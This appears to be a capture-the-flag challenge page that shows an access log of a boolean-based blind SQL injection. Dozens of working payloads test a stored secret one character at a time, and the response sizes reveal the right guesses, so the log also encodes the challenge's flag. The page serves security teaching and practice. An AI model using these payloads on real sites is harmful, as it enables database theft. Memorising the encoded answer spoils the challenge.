Webmedium
Blind but Not Deaf

200 points · 0 solved
We captured an attacker's boolean-based blind SQL injection against our product page. The page never prints the secret — but it does change size. Rebuild the secret from the access log.
GET /item?id=7' AND substr((SELECT secret FROM vault),1,1)='s'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),1,1)='7'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),1,1)='d'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),1,1)='{'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),2,1)='j'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),2,1)='s'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),2,1)='c'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),2,1)='4'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),3,1)='x'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),3,1)='z'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),3,1)='{'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),3,1)='}'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),4,1)='h'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),4,1)='b'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),4,1)='2'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),4,1)='z'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),5,1)='l'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),5,1)='0'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),5,1)='1'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),5,1)='d'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),6,1)='i'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),6,1)='r'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),6,1)='}'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),6,1)='9'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),7,1)='p'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),7,1)='v'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),7,1)='r'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),7,1)='n'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),8,1)='z'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),8,1)='d'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),8,1)='s'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),8,1)='6'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),9,1)='m'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),9,1)='_'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),9,1)='a'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),9,1)='f'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),10,1)='b'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),10,1)='e'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),10,1)='y'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),10,1)='2'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),11,1)='t'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),11,1)='2'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),11,1)='m'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),11,1)='u'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),12,1)='t'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),12,1)='w'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),12,1)='g'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),12,1)='3'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),13,1)='3'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),13,1)='_'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),13,1)='f'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),13,1)='5'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),14,1)='1'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),14,1)='n'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),14,1)='w'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),14,1)='q'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),15,1)='y'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),15,1)='o'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),15,1)='h'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),15,1)='g'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),16,1)='f'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),16,1)='2'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),16,1)='t'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),16,1)='q'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),17,1)='h'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),17,1)='3'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),17,1)='{'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),17,1)='_'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),18,1)='d'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),18,1)='r'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),18,1)='b'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),18,1)='z'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),19,1)='e'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),19,1)='9'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),19,1)='2'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),19,1)='8'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),20,1)='d'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),20,1)='f'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),20,1)='v'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),20,1)='a'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),21,1)='f'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),21,1)='b'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),21,1)='{'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),21,1)='1'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),22,1)='o'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),22,1)='4'-- -  ->  200 1204B
GET /item?id=7' AND substr((SELECT secret FROM vault),22,1)='}'-- -  ->  200 2481B
GET /item?id=7' AND substr((SELECT secret FROM vault),22,1)='b'-- -  ->  200 1204B
Hints0/2
Learn the technique/labs/sql-injection-basics